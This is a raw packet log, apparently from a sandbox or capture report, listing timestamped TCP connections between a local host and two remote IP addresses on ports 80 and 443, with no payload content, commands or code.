Dec 10, 2024 06:38:27.137918949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.137953997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.138801098 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.138923883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.138969898 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.139878988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.140001059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.140038013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.140891075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.141000986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.141045094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.141921997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.141993999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.142031908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.142920017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.143033981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.143073082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.143945932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.144016027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.144051075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.144978046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.145112038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.145150900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.146034002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.146133900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.146172047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.147041082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.147159100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.147198915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.148081064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.148194075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.148233891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.149108887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.149194956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.149235010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.150185108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.150281906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.150322914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.151173115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.151308060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.151349068 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.152201891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.152371883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.152415037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.153273106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.153392076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.153431892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.154284000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.154436111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.154475927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.156021118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.156034946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.156083107 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.156347036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.156471968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.156513929 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.157354116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.157474041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.157510042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.158394098 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.158509970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.158548117 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.159420013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.159533978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.159574986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.160458088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.160568953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.160614014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.161914110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.161926985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.161962986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.162527084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.162632942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.162672997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.163547039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.163661957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.163702965 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.168190002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168203115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168214083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168225050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168239117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168248892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.168258905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168279886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.168298960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.168612003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168622971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168665886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.168689966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168855906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.168906927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.169728994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.169848919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.169888973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.170763969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.170850039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.170892000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.171717882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.171786070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.171900034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.171941042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.172827959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.172938108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.172979116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.173866034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.173974037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.174022913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.177532911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.177545071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.177583933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.181543112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.181555033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.181566954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.181580067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.181590080 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.181636095 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.182008028 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.182470083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.182632923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.182671070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.183479071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.183638096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.183676958 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.184698105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.184710026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.184751987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.192291021 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.202574015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.277488947 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:27.277534962 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:27.277592897 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:27.278202057 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:27.278217077 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:27.301883936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.301983118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.302048922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.302370071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.302604914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.302721977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.302768946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.303606987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.303719997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.303762913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.304601908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.304640055 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.322238922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.322391033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.322470903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.322719097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.322953939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.323002100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.323069096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.324019909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.324033022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.324067116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.325033903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.325078964 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.325130939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.326047897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.326088905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.326122046 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.327084064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.327131033 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.327151060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.328118086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.328166962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.328223944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.329188108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.329263926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.329301119 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.330187082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.330225945 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.330296040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.331235886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.331310987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.331341028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.332251072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.332302094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.332359076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.333281994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.333323956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.333373070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.334309101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.334359884 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.334475040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.335330009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.335405111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.335453033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.336401939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.336450100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.336493015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.337403059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.337490082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.337496996 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.338428020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.338474035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.338568926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.339449883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.339498043 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.339564085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.340485096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.340532064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.340584040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.341537952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.341584921 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.341593981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.342545986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.342592955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.342717886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.343594074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.343641043 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.343679905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.344619036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.344721079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.344755888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.345635891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.345675945 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.345745087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.346832037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.346844912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.346916914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.347686052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.347735882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.347843885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.348736048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.348781109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.348808050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.349778891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.349827051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.349889040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.350791931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.350892067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.350904942 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.351844072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.351910114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.351941109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.352866888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.352999926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.353013992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.353873968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.353919983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.353991985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.354928017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.354976892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.355041027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.356040001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.356087923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.356153011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.356985092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.357027054 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.357078075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.358007908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.358053923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.358113050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.359055042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.359103918 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.359164953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.359308004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.360084057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.360189915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.360230923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.361125946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.361161947 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.361217022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.362194061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.362240076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.362252951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.363221884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.363286018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.363308907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.364218950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.364269018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.364336967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.365259886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.365307093 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.365320921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.366271973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.366317034 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.366389990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.367326021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.367358923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.367434025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.368392944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.368432045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.368444920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.369355917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.369400024 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.369453907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.370404959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.370512009 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.370522976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.371408939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.371488094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.371510983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.372481108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.372498035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.372528076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.376480103 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.494244099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.494286060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.494343042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.494626999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.494873047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.494923115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.494947910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.495893002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.495949984 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.496004105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.496885061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.496973991 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.514724016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.514830112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.514902115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.515189886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.515379906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.515427113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.516268015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.516371965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.516452074 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.517265081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.517359018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.517402887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.518275976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.518384933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.519011974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.519308090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.519433975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.520328045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.520384073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.520502090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.520548105 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.521358967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.521416903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.521462917 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.522397041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.522532940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.522577047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.523446083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.523600101 CET	80	49747	185.215.113.16	192.168.2.6
